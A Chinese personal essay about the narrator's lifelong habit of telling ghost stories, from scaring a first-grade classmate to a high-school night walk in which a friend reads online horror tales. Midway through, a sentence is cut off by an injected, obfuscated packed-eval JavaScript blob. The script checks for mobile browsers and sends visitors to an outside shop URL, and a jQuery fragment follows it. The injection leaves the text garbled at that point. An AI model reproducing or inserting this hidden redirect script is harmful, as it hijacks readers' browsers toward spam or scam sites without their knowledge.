我是一个很喜欢讲故事——或者说胡说八道的人。
第一次完全原创一个有头有尾的小故事，应该是一年级。
因为是特优班，班上的同学很少，只有30人，同学们各个多少都有些被家长惯出来的毛病（站在现在一个成年人的角度去回想的话——包括我自己）。其中有一个女孩，我很不喜欢她。
她似乎很喜欢我，总是缠着想和我一起玩，但我认为她很虚伪，总是在我和我的好朋友聊天的时候插进来，假装她也懂得我们聊的内容。
我说假期去了某地，她会说“啊，我也去了”；我说北京烤鸭好好吃，她会说“这有什么的，我经常吃”；我们谈起在看的漫画，她也要说“我家里有很多这个漫画”；我胡扯了一个小说的名字，说我妈妈给我买了这本书，非常好看，果然她立刻讲她也看了，确实好看。
我存心要让她难堪，于是我立刻说“可是我是骗你的，这本书并不存在”，她居然还是说“真的有这本书，我家里就有”。
那还说什么呢？
她竟丝毫不觉得我在故意怼她，依然还要跟着我，我肝气郁结不知该怎么办，这天去上微机课的时候，我就想了个妙招：我要吓唬她。
微机课所在的楼和小学中高年级的教室建在一起，但也许微机楼是后来才建起来的，所以我们不能直接从普通教室的楼梯走上去，而是要从额外的小楼梯爬上去。
那是由玻璃围起来的建筑外的楼梯，爬楼时可以俯瞰整个校园。
在我安静的时候，总是在暗中观察各种细节，而这个学校最让我在意的就是微机楼楼顶上的红色菱形标。
这到底是什么东西？至今我也不知道。先前带朋友来我家里玩的时候，去看了我的小学，发现那东西依然顶在微机楼上，像是避雷针上的什么摆设。
这不重要。
关键的是我那时灵机一动，和那个女孩说：“我有一个姐姐，之前也在这里上学。”
我没有姐姐，是光荣的独生子；之所以一个五岁的孩子也能煞有介事地先来个起承转合，是因为家里有很多不该这个年龄看的书都被我囫囵地看了。我无师自通学会了用亲近的人开头，可以增加故事的可信度。
我说这个姐姐在学校上到了五年级，因为爱撒谎被老师骂，于是跳楼了。她的血染红了自己的布鞋，于是学校就把她的鞋挂在了楼上，用来警示别的小朋友们要珍爱生命。
我还说，这个故事只有我知道，因为老师们不许小朋友乱传话，我只告诉了你，你不可以跟别人说，哦对了还有——如果你在学校里撒谎的话，她就会来找你。
那个女孩信没信我不知道，也许只是觉得我很可怕，但后来她反正不和我玩了，我很满意这个结局。
之后的整个小学，我都没有再讲过鬼故事，倒是开始写乱七八糟的小说。女主角名字必是紫冰梦爱羽之类的，她一定要有着狂霸酷炫拽的能力和与她性格相反却一样强大的闺蜜...但由于我极其三分钟热度，买了特地写小说用的本子好几个，写了很多不同的开头十几章后，就全都没了下文。
写作和讲故事的事业便告一段落，毕竟在整个小学期间，再也没有别的契机让我谈论这些事情。
初中就成了一个转折。
可能我多少有些表演型人格，而且我喜欢的是“真实的我”被仔细观看，因此我无法接受虚构出来的有关我自己的现实——自恋狂某虎此时已初现端倪——我兴致勃勃地挑选着我喜欢的同学，再用我的优点去吸引她们，就可以结为朋友。
先随便聊些兴趣爱好，我很健谈，所以总是所向无敌；成了朋友后就要聊更多的天，不仅仅是课间的区区十分钟，还有周末甚至是课上传纸条的内容。
在我对于新朋友的热情还没有变成“老couple”式的平平淡淡前，我猛加火力，却不断地提高她们对我的期待阈值，最后我发现只能讲些刺激的事情了。
那些真实发生在我身上的奇怪故事就闪亮登场。
好像人本来就会对这些神神鬼鬼的故事格外感兴趣，我说完之后，她们也会开始讲述自己身上发生的事情，这些涉及到童年经历、家庭情况的故事刚好又比较隐私，一来二去，正式破冰。
我误打误撞发现了鬼故事的第二个好用处。
等上了高中，情况又有所变化。
高中是一本率90％以上的在省里、全国都排得上名的学校，我又偏偏在分班培训及考试里表现得很好，以第一名的成绩进入了理科实验班。班里全都是目标清北或者奥赛国奖的同学，我的所有优点都变成了缺点。
老师倒是很喜欢我，毕竟一个调皮捣蛋的聪明孩子总会夺得老师额外的注意力，但我在班里实在格格不入，很是孤独。
这倒不是说我被同学孤立。班上的女生不多，但有好几个初中时候就听说过我的名号（因为特别爱捣乱），她们心里叛逆的那部分似乎就格外受我吸引。只是吸引归吸引，课间她们依然只会在教室里坐着学习，而不是和我手拉着手满学校到处跑。
我也确实不爱学习。因为我知道最重要的不过就是那一场考试而已，在这之前我都可以糊弄过去，而我也知道，终极懒人的我目标从来不是最优而仅仅是“比大多数人强”就好，我当然可以做到。
所以最终，在实验班煎熬了两年后，高三前的暑假为了去旅行，我拒绝参加老师们组织的提前搞定一轮复习的计划，选择转到普通班。
到了普通班，我立刻活了过来。
有着从实验班转出的“出身”，我好像自带一些光环，明明是半路插进来的，却丝毫不需要我去表现自己，就会有同学来找我玩。
说来也好笑，当太多人围上来时，我又会有些不好意思，就像有时看到一些读者给我的长留言，我都会害羞地反复品味但不敢回复。在这种情况下，因为紧张，我会变得更多话，说来说去，就又扯到了鬼故事上。
在吓唬人的时候，我格外地专注和感到平静。
普通班的同学没有实验班的同学那么卷，又是高三，有的人知道自己总能上个一本的，就更松弛。我喜欢这样的氛围，开学没多久，就在晚自习的时候，和同学们躲到教室的角落，聊了个爽。
聊得还是鬼故事。
大概是聊得太高兴了，她们玩起来了笔仙，还有那种所谓的吹蜡烛怪谈——蜡烛是晚自习前回家吃饭的时候同学从家里拿的。至于我，讲故事可以，旁观也可以，但作死的事情我不会参与。可能因为我经历过才会无比相信世界上有灵异事件吧，我不想古怪的事情找上我。
这样闹了一晚上，证明了笔仙之类的都是骗人的，最后我们就都放松了下来。放学了，我和家人打电话说想在学校再写一张卷子，就这么和几个同学一起轧马路去了。
轧马路应该是一种土话，指在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296971|198577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大街上漫无目的地走。高中时很容易流行起来一些古怪的词汇，我也就记住了这个说法。
我们边聊边走，走得步步生风，鬼故事的存储已经用完，就用手机现查网上的故事。
同学A声音很好听，而且在家里练过说书，所以由他来念故事。
A说：“这是一个关于平行世界的故事。”
男主人公小时候和一个朋友在村里玩耍，傍晚的时候，两人笑闹着穿过村里的一座桥，可是就在男主走到桥的另一端时，他的朋友不见了。那个人去哪里了呢？男主很着急，却只在桥上捡到了那孩子戴着的红色帽子。他到处找他，找到最后，男主自己害怕起来了，只好先回家。可是到了家，却被说，根本没有那个孩子。男主无法接受这个现实，毕竟他可有着那孩子的帽子呢！之后很久都不敢再回到村里，这件事也就成了一个未解之谜。
“最可怕的是，有没有可能，不是朋友消失在了平行世界，而是男主来到了我们的世界，所以大家才会不认识那个朋友呢？”A阴森森地念出来了别人的评论。
哇！我们吓得抖成一团，脚步越来越快了。
我们到底都是学生，走了半天也只是在学校附近转悠，没有真的走远。这份来自学校的安全感，让我们把恐惧转化为了纯粹的刺激感，催促着继续讲下一个故事。
“这是一个日本的怪谈，可能是编出的来的。”A说。
一个女孩的爸爸很早就去世了，只有她和妈妈相依为命。在日本的社会里，单亲妈妈很难过，可是妈妈还是很坚强的独自支撑着拉扯大了女孩。久而久之，积劳成疾，妈妈倒下了，瘫在床上无法动弹。她知道自己时日无多，便将一个护身符交给了女孩，叮嘱她一个人也要好好生活。但如果遇到了困难，就打开这个护身符吧。女孩很悲伤，但在送走了妈妈以后还是听妈妈的话努力学习、照顾自己。女孩总是贴身带着护身符，就像妈妈还在身边一样，这股爱意与力量让女孩茁壮成长。女孩的一些同学对护身符很感兴趣，总是怂恿女孩打开护身符看看呗。一开始，女孩当然会拒绝，但时间长了，她也开始好奇：妈妈会给自己留下什么锦囊妙计呢？又一次的起哄中，女孩打开了护身符，里面是一张纸条，写着两个字：
去死。
“啊啊啊！”这什么东西啊！
A后来又念了好几个故事，我们也是只要有一段路是暗的，就会加快跑起来走到灯下面。
突然，A叫了一声，直直地停住。
我们收不回来脚步，一时间就把A落在了后面。我们这才往回跑去找他，却发现他捂着肩膀说胳膊动不了了。
他的手机也掉在了地上。
不只是胳膊，很快他说脖子也动不了了。
这下可好，我们都傻眼了，还好他就租住在学校附近，先把他给送回了家，我们才都各自逃难似的回了自己家，有住校的当然也就是回学校。
我的心更是怦怦直跳。
我这才知道有一种说法是，晚上不要讲鬼故事，因为讲多了，那些东西可能就会来找你。而她们今晚还玩了那些游戏！我不会也被牵扯吧？我倒是有开光的菩萨玉坠保佑，可是...可是...
后来我倒是没什么问题，只是提心吊胆了好几天。其她人则或多或少生了些病。至于A，他还真是身体好，说是回家睡了一觉肩膀就好了。
这件事也就成了我们的秘密。